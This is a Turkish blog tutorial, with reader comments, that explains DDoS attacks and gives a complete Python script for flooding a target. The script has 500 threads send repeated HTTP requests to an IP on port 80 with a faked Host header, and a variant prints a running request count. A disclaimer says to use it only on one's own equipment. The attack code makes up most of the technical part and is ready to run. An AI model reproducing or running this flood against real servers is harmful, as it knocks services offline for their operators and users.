Bu eğitimde Python'da bir penetrasyon testi betiği, yani bir DDOS betiği yazacağız. Bu program, bir sunucuyu o kadar çok taleple doldurmamızı sağlayacak ki, bir süre sonra artık yanıt veremeyecek ve kapanacak.
Ama size burada büyük bir uyarı vereyim! Size ait olmayan veya saldırı izniniz olmayan herhangi bir sunucuya DDOS saldırısı gerçekleştirmek son derece yasa dışıdır. Kendi sunucunuz dışındaki sunuculara yapılan saldırıları önermiyorum ve bu komut dosyasıyla ne yapacağınızdan sorumlu değilim. Bu gönderi tamamen eğiticidir ve Python ile ağ oluşturma ve programlamayı anlamanıza yardımcı olacaktır. Bu yüzden aptalca şeyler yapma!
DDOS nedir?
DDOS, Dağıtılmış Hizmet Reddi anlamına gelir ve bir sunucunun kaynaklarını isteklerle doldurarak engellediğimiz bir saldırıdır. Genellikle bu tür saldırılar asla tek başına değil, botnet'lerin yardımıyla gerçekleştirilir.
Bir botnet'te, bir bilgisayar korsanı, sıradan insanların birçok bilgisayarına ve sunucusuna onları zombi olarak kullanmak için bulaştırır. Bunları bir sunucuya toplu saldırı yapmak için kullanıyor. Tek bir DDOS komut dosyası yerine, artık bunlardan binlercesini çalıştırabilir. Er ya da geç, sunucu, sıradan bir kullanıcıya bile yanıt veremeyecek şekilde taleplerin miktarına boğulacaktır. Daha küçük ve daha zayıf sunucular için, bazen bir saldırgan onu indirmek için yeterlidir. Ancak, genellikle bu tür bir saldırı, saldırganların IP adreslerinin engellenmesiyle önlenebilir.
DDOS Komut Dosyasını Uygulama
Python'da bir DDOS betiğinin uygulanması oldukça basittir. Yalnızca belirli bir bağlantı noktasındaki bir ana bilgisayara tekrar tekrar istek göndermemiz gerekir. Bu, soketlerle yapılabilir. Süreci hızlandırmak ve daha etkili hale getirmek için çoklu iş parçacığı da kullanacağız. Bu nedenle, bu eğitim için aşağıdaki kitaplıklara ihtiyaç duyulacaktır:
import socket import threadingŞimdi ihtiyacımız olan ilk şey hedefin IP adresi, saldırmak istediğimiz port ve kullanmak istediğimiz sahte IP adresimiz. Bu tür bir "sahte" IP adresinin gerçekte kim olduğunuzu gizlemediğine dikkat edin. Sizi anonim yapmaz.
target = '10.0.0.138' fake_ip = '182.21.20.32' port = 80Daha önce de belirttiğim gibi, DDOS yasa dışıdır. Bu yüzden burada seçtiğiniz hedefe dikkat edin. Bu durumda, yönlendiricimin IP adresini evde seçtim. Ayrıca ev sunucunuzu, yazıcınızı veya hatta kendi web sitenizi de seçebilirsiniz. IP adresinizi bilmiyorsanız, komut satırınızı kullanabilir ve alan adına ping atabilirsiniz. Sahte bir IP adresi olarak rastgele ama yine de geçerli bir adres seçtim. Son olarak, HTTP olan 80 numaralı bağlantı noktasına saldırmaya karar verdim. Belirli bir hizmeti kapatmak istiyorsanız, hangi bağlantı noktasında çalıştığını bilmeniz gerekir. Ayrıntılı liste için bu bağlantıya göz atın . Yapmamız gereken bir sonraki şey, gerçek saldırı işlevini uygulamaktır.
def attack(): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port)) s.close()Bu saldırı işlevi, bireysel iş parçacıklarımızın her birinde çalışacak olan işlevdir. İçinde bir soket oluşturduğu, hedefe bağlandığı ve tekrar tekrar bir HTTP isteği gönderdiği sonsuz bir döngü başlatır. Elbette, başka bir bağlantı noktasına saldırıyorsanız, gönderdiğiniz istek türünü de değiştirmeniz gerekecektir.
for i in range(500): thread = threading.Thread(target=attack) thread.start()Bu durumda, fonksiyonumuzu yürütecek 500 iş parçacığı başlatıyoruz. Elbette sayı ile oynayabilirsiniz. Belki 30 veya 50 zaten yeterlidir. Şimdi betiğimizi çalıştırdığımızda, hedefi DDOS yapacağız ama hiçbir şey görmeyeceğiz. Bazı bilgileri görmek istiyorsanız, önceden gönderilmiş istek miktarlarını yazdırabilirsiniz. Bunun saldırınızı yavaşlatacağına dikkat edin.
attack_num = 0 def attack(): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port)) global attack_num attack_num += 1 print(attack_num) s.close()Zaten kaç isteğin gönderildiğini izleyen değişken bir attack_num oluşturduk . Her yinelemede bu sayıyı artırıp basıyoruz.
Ayrıca zeki insanlar site masrafına temasına değil de, işlenmiş içerik kalitesine verilen değerli bilgiye bakar. Aptal insanlar ise sitedeki masrafa, aldığı uzantıya harcanan paraya uyarlanan animasyon ve efektleri sever. {Sözün sahibi:[´´MareFi``]}
Bu sitede anlattıklarını bir video ile de daha iyi anlatabilirsin, bir video çeker misin? Bir YouTube kanalın var mı?
YanıtlaSilSiz yeni nesiller! Sadece işitsel veya görsel bilgilere alışmışsınız. Lakin bazı konular video ile anlatılmaz. Bazı içeriklere, bilgilere sadece kitaplardan veya belirli makalelerden erişim sağlarsınız. Ve en değerli olan bilgide bu metin anlatımlarıdır.
SilSoruna gelecek olursam bir Youtube kanalım yok ve hiç olmayacak. Bu site sahibi çok değerli bir dostum bende içerik olsun diye iyi bildiğim ilgi alanlarımdan bir kaç açıklayıcı metin paylaştım o kadar bu tür içeriklerin devamı gelmeyecek maalesef. Lanet şartlar ve politikalar yüzünden.
Cant start New thread Hatası alıyorum ne yapmalıyım?
YanıtlaSil